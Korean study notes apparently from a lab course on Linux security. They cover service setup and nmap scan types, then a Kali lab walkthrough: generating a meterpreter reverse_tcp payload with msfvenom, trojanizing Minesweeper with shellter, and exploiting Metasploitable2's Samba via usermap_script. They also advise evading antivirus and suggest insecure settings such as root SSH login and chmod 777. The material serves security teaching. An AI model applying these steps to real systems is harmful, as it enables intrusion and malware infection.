본문 바로가기

카테고리 없음

리눅스 보안 실습 시험1(3,4)

728x90

고정 IP 만들기

/et/network/interfaces.d/*

auto lo

iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.189.129
gateway 192.168.189.2
netmask 255.255.255.0
broadcast 192.168.100.255

아파치 서버 구동하는 방법

sync 명령어 : 직 저장되지 않은 메모리의 데이터가 디스크로 저장되는 데이터동기화 작업이 된다는 것이다
nmap 으로 포트 열린것을 확인 http 80

service apache2 start로 시작

root로 들어가서 update-rc.d apache2 enable로 리부팅해도 아파치가 유지되게 한다.

/etc/apache2/sites-enabled/000-default.conf에서 다음과 같은 경로를 이용할 수 있다.

service --status-all로 구동되고 있는 서비스 확인

 

ssh 작업

보안 접속용 터미널

/etc/ssh/ssh_config.d/*.conf

여기서 PermitRootLogin을 Yes로 / passwordAuthentication yes를 해줘야한다.

service ssh start

update-rc.d ssh enable

nmap으로 22 ssh / 80 http 확인

 

윈도우에서 putty로 ssh22번 포트로 접속하면 칼리에 접속 할 수 있다.

 

삼바 작업

네트워크 공유 폴더 제공

service smbd start

update-rc.d smbd enable

nmap으로 139netbios-ssn / 445 microsoft-ds 확인

chmod 777 share

/etc/samba/smb.conf에서 다음과 같이 권한 허가 해주기

vsftp 작업

service vsftpd start

update-rc.d vsftpd enable

nmap으로 21 ftp 확인

 

nmap이란

:(Network mapper)은 고든 라이온이 작성한 보안 스캐너로 컴퓨터와 서비스를 찾을 때 쓰이며, 네트워크 지도를 함께 만든다. 다른 간단한 포트 스태너들처럼 Nmap은 서비스 탐지 프로토콜로 자신을 관고하지 않은 수동적인 서비스들도 찾아낼 수 있다. 게다가 Nmap은 원격 컴퓨터들의 자세한 정보를 알아낼 수 있다.

nmap으로 운영체제, 장치 종류, 운영 시간, 서비스에 쓰이는 소프트웨어 제품, 그 제품의 정확한 버전, 방화벽 기술의 존재와 심지어 근거리 네트워크에서 네트워크 카드의 공급자 정보도 알아낼 수 있다.

 

# 포트스캔(Port Scan) - 모뎀과 컴퓨터 사이에 데이터를 주고 받을 수 있는 통로

: 운영중인 서버에서 어떠한 포트가 열려있는지 닫혀있는지를 조사하는 것으로 자싱의 서버의 네트워크 서비스들을 점검하기 위해 사용한다.[해커가 해킹을 하기 위해 정보 수집단계에서 타켓 서버의 정보를 수집하기 위해 사용]

1. 자신의 서버의 네트워크 서비스들을 점검하기 위해 사용

2. 해커가 해킹을 하기위해 정보 수집단계에서 타겟 서버의 정보를 수집하기 위해 사용.

 

- 포트 : 모뎀과 컴퓨터 사이에 데이터를 주고받을 수 있는 통로로 외부와 데이터를 교환하는 프로그램은 특정 포트를 이용해 데이터를 교환한다.

- 스캔 : 서비스를 제공하는 서버의 작동 여부와 제공하고 있는 서비스를 확인하는 것으로 질의(request)를 보내면 응답(response)을 받는 구조인 네트워크의 특성을 이용한다.

1. ping을 통해 공격 대상의 PC로 보낸다.

2. 공격 대상 PC가 살아있나 확인할 수 있다.

3. 열려 있는 포트, 제공하는 서비스, 동작중인 데몬 버전, 운영체제 버전 등 다양한 정보를 얻을 수 있다.

 

#wireshark는 네트워크 분석 프로그램으로 네트워크상에서 캡쳐한 데이터에 대한 네트워크/상위 레이어 프로토콜의 정보를 제공해준다.(pcap 네트워크 라이브러리를 사용한다)

 

 

포트 번호

80(HTTP) / 23(Telnet)(보안x) / 443(HTTPS) - SSL 암호화된 기본 웹 서버 / 21(ftp)(보안x) /

22(ssh) - 텔넷 대체하는 보안 프로토콜 / 25(SMTP) - 메일 전송 프로토콜(보안x) /

110(POP3) - 이메일 추출을 위한 오피스 프로토콜(보안x) / 445(마이크로소프트DS) - 마이크로소프트 윈도우 서비스에 있는 ip에 대한 smb 통신을 위한 포트 / 143(IMAP) - 인터넷 메시지 접근 프로토콜(보안안된 이메일 추출 프로토콜 )

53(도메인) - dns, 호스트,도메인명과 IP 주소 사이의 대화를 위한 시스템(보안x)

3306(MySQL) - MySQL db와 통신을 위한 포트 / 8080(HTTP-proxy) - 일반적인 웹 서버를 위한 HTTP 프록시나 다른 포트로써 흔하게 사용되는 포트 / 995(POP3S) - 보안을 위해 추가된 SSL이 있는 POP3 /

5900(VNC) - 그래픽 데스크탑 공유 시스템(보안x)

 

3way

handshaking의 정상 포트스캔 과정으로 ACK를 받는 경우 로그 기록이 남는다. / 가장 기본적인 스캔

nmap -sT ip / sT는 TCP 연결

TCP Half(SYN) Open Scan

하나의 패킷을 보냈을 때 SYN+ACK 응답을 받으면 그 즉시 RST 패킷을 보내 접속을 끊는다.(접속이 이뤄지지 않은 상태에서 접속을 끊어서 로그를 남기지 않는 경우가 대부분)

nmap -sS ip / TCP SYN 스텔스 모드로 프로토콜 포트를 스캔하는데 가장 빠른 방법. 비밀스럽게 모든 기능을 작동

X-mas Scan

TCP 헤더를 조작하여 특수한 패킷을 만들어 보낸 후 그에 대한 응답으로 포트의 활성화 여부를 판단한다.

세션을 완전히 연결하지 않기 때문에 로그가 남지 않는다.

nmap -sX ip / TCP FIN, Xmas로 특정 목정 스캔 방법으로 방화벽 뒤에 있는 시스템을 탐험하기 위해 사용한다.

단점, 일부 시스템이 보여주지 않는 대상 시스템의 행동에 의존한다.

 

1. 공격자는 FIN, PSH, URG 패킷을 보낸다.

2. RST패킷이 돌아온 경우의 포트 상태 : closed / 재전송하여도 응답이 없는 경우 : open|filtered

NULL Scan

세션을 완전히 연결하지 않기 때문에 로그가 남지 않는다.

nmap -sN ip / TCP FIN, Xmas로 특정 목정 스캔 방법으로 방화벽 뒤에 있는 시스템을 탐험하기 위해 사용한다.

단점, 일부 시스템이 보여주지 않는 대상 시스템의 행동에 의존한다.

FIN Scan

세션을 완전히 연결하지 않기 떄문에 로그가 남지 않는다.

nmap -sF ip / TCP FIN, Xmas로 특정 목정 스캔 방법으로 방화벽 뒤에 있는 시스템을 탐험하기 위해 사용한다.

단점, 일부 시스템이 보여주지 않는 대상 시스템의 행동에 의존한다.

 

포트 옵션

 -a는 모든 것을 알려달라는 말. all

 

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

 

운영체제 보안 점검3주차

1. Metasploit Framework 모든 메타 데이터를 관리하는 프레임 워크

메타스플로잇은 다양한 취약점 분석에 관련한 모든 메타 데이터를 관리하는 프레임워크로 시스템에 존재하는 취약점을 검색하고 공격을 자동화할 수 있다.(/usr/share/metasploit-framework)

msfconsole 파일 : 콘솔 기반의 인터페이스로 취약점 검색부터 공격까지 수행할 수 있는 도구이다. 콘솔 기반의 인터페이스가 msfconsole이라면 그래픽 기반의 인터페이스는 armitage가 있다.

Armitage : 그래픽 버전의 메타스플로잇 인터페이스로 빠르고 쉬운 해킹이 가능하다.

module 디렉토리 : 메타스플로잇 프레임 워크, 보조 모듈(auxiliary), 인코더(encoders), 익스플로잇(exploits), nops, 페이로드(payloads), 포스트(post) 모듈 관련 파일이 존재한다. msfconsole 명령어로 익스플로잇 모듈을 지정할 때, modules/exploits 디렉토리에 존재하는 모듈을 로드한다.

 

2. MSfvenom을 이용한 악성코드 제작

msfvenom : 방화벽, 백신 탐지를 우회하기 위해 페이로드를 자동으로 생성해주는 도구이다.

 - msfvenom으로 생성한 페이로드는 널리 알려져 있어 페이로드 실행 시 백신 프로그램이나 방화벽에서 바로 차단해서 확인하려면 방화벽을 끄거나 다중 인코딩을 지정하거나 백신 프로그램 우회 프레임워크를 적용하면 된다.

 

#payload 방식 비교 Reverse vs bind

reverse_tcp tcp connection을 공격자 시스템에 미리 설치 시켜놓는 방식으로 상대방이 감염되면 공격자가 자동으로 확인 가능(위치노출 위험)

bind_tcp - tcp_listeneropen해 놓고, 공격자 시스템에서 connection 하길 기다리는 방식으로 공격자가 감염되었는지 직접 확인 하는 방법(위치 노출 위험 적음) 하지만 방화벽을 뚫기가 힘들다

 

공격자에서 대상에게 직접 연결 : bind / 공격 대상에서 공격자에게 반대로 연결 : reverse

 

msfvenom으로 악성코드 생성(reverse, bind) -> msfconsole -> multi/handler 사용 -> 대기(set exitsession false) -> 상대가 악성코드 파일 다운로드하면 실행 ->meterpreter로 공격

  • mefvenom

msfvenom –l p //msfvenom 생성, -l 인코딩 횟수, p는 payload로 공격 방식(취약점을 통해 목표 시스템에서 실행할 shell 코드venom이 감염시킬 수 있는 payload 개수를 보여준다.

msfvenom –p windows/meterpreter/reverse_tcp LHOST=192.168.189.129 –f exe –o reverse.exe

->reverse_tcp.exe란 악성코드 형식으로 meterpreter를 사용해 윈도우를 감염시키는 명령어

 -f exe는 파일을 exe형태로 만들어준다.

LHOST = [공격자 IP] / LPORT = [원하는 포트 지정(default=4444)]

 

 - 아파치 서버로 window8과 연결 되어 있는 폴더에 악성코드 옮기기

 

  • msfconsole : console환경에서 원격지의 주소를 다룰 수 있는 인터페이스다.

use 명령으로 exploit/mult/handler를 사용하겠다.

exploit에서 reverse_tcp를 사용하겠다.

info를 눌러 필요한 속성 lhost를 설정해주고 상대가 악성코드를 실행시켜 감염되기를 기다린다.

 

 

  • window8

공격 대상(window8)이 악성코드를 실행하면 감염된다.

 

3. meterpreter를 이용한 시스템 정보 수집

  • meterpreter

meterpreter에서 공격 대상을 공격

meterpreter 목표 시스템의 정보 출력, 프로세스 조장 , 화면 캡처 등 많은 기능 제공

Meterpreter(미터프리터)는 Metasploit Framework에 포함되어 있는 Payload 중의 하나

1) Stealthy 기능 : 수행되고 있는 동안 들키지 않도록 합니다.

2) Fileless(파일리스) attack 기능 : 실행 파일 없이 memory 상에서 바로 수행될 수 있도록 합니다

help명령으로 확인

sysinfo로 상대 컴퓨터 성능 확인

 

#bind 방식

직접 들어가야 하기 때문에 공격자 IP랑 공격대상 IP모두 설정해줘야 한다.

 

 

#실행 파일에 악성코드 감염 후 시스템 권한 탈취

 

shellter로 지뢰찾기.exe를 악성코드로 감염 -> 공격대상 컴퓨터에서 지뢰찾기를 실행하면 공격 대상이 악성코드에 감염됨 -> 권한 탈취

 

#shellter

 : 동적 쉘코드 주입 툴로 Windows 응용 프로그램에 셸 코드를 삽입하는 데 사용

여기서는 지뢰찾기 프로그램을 악성코드에 감염시켰다.

apt-get install shellter

 

dpkg --add-architecture i386

apt-get install wine32 // 윈도우 환경에서 돌아가도록 설정

 

shellter로 실행하고 PE target에 악성코드 실행파일 위치를 넣는다.

옵션 및 lport, lhost를 설정해주면 지뢰찾기가 악성코드에 감염되었다.

 

 

#같은 명령어 치기 귀찮아서 문서로 명령어를 한번에 실행시키기

1. 빈파일 하나 만들기(resource파일)

 

2. 반복되는 명령어 작성

 

3. 해당파일을 저장하고 다음 명령어를 실행하면 자동으로 위의 명령들이 실행된다.

msfconsole -r msf_reverse_tcp.rc

똑같이 공격 대상에서 실행하면 악성코드 감염된다.

 

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

 

운영체제 보안 점검4주차 samba

칼리 - 192.168.189.129[공격자]

metasploitable2 - 192.168.189.130[공격 대상]

nmap으로 얻은 정보로 삼바 서비스 털기

 

nmap,scanner로 정보 수집 ->search로 취약점 검색 -> exploit공격 -> meterpreter

 

1.서버 시스템의 취약점 점검

 

postgresql -> msfconsole -> db_nmap -sS -sV db에 nmap 저장

 

nmap을 매번 실행시키지 말고 nmap의 결과를 postgresql에 저장하여 검색하기 편하다.

service postgresql start

update-rc.d postgresql enable

msfdb init(메타스플로잇 프레임워크의 db를 사용하기 위한 초기화)

db_status / db_services로 db동작 확인

 

act /usr/share/metasploit-framework/config/database.yml에서 계정 확인

 

db_nmap -sS -sV -O ip //db에 nmap을 자동으로 저장하는 명령어

 

#수동적 정보 수집(합법)

: 구글링 할 수 있는 툴들을 사용하는 것.

auxiliary(보조도구)에서 lookup_name을 사용하는 것.

/usr/share/metasploit-framework/modules/auxiliary/에 보조 도구들이 있다.

 

 - use/auxiliary/gather/corpwatch_loopup_name을 사용 기업의 정보를 보는 것

 

#능동적 정보 수집(불법)NMAP

대상 시스템에 직접적으로 데이터를 전송해서 로그를 남기므로 흔적이 노출된다.

msfconsole에서 search smb 명령어를 치면 취약점이 나온다.

삼바 - /usr/share/metasploit-framework/modules/auxiliary/scanner/smb/

 

삼바의 정확한 버전 정보 확인

위의 명령은 다음과 같이 구글, , 야후를 사용해 target한 도메인에 대해 유효한 메일 주소 목록을 생성하므로 이메일 피싱할 때 제격이다.

enumuser는 삼바 사용자를 열거 해주는 기능이다.

- lockoutTries = 0이면 로그인 접근 횟수 제한이 없다는 것. brute force 공격에 취약하다.

ex) wifi가 0이다.

 

 

정보를 수집하였으니 이를 바탕으로 공격

 

2. samba 서비스 점검

해당 url에 들어가면 다양한 공격 방법이 있다.

/usr/share/metasploit-framework/modules/exploits/multi/

 

use exploit/multi/samba/usermap_script

-> usermap_script를 살펴보면 삼바 버전 3.0.20~3.0.25rc3의 취약점을 이용한다.

 

exploit

-> 자동으로 meterpreter방식으로 reverce TCP를 이용해서 ip가 연결됨을 확인할 수 있다.

 

meterpreter

meterpreter에 들어왔는데 권한이 적어서 할만한게 별로 없다. 그래서 권한을 다시 업그레이드 시키기 위해서 

 

#Shell_to_Meterpreter 방식의 인터페이스 변화

sessionroot가 아니여서 한번더 권한을 탈취하고자 할 때를 생각해 지금부터는 권한을 한번 더 뚫고자 한다.

세션을 잠시 백그라운드로 보내고

-> sessions i 1 명령을 치면 다시 세션으로 들어간다.

 

공격(shell_to_meterpreter)

meterpreter방식으로 세션2로 열림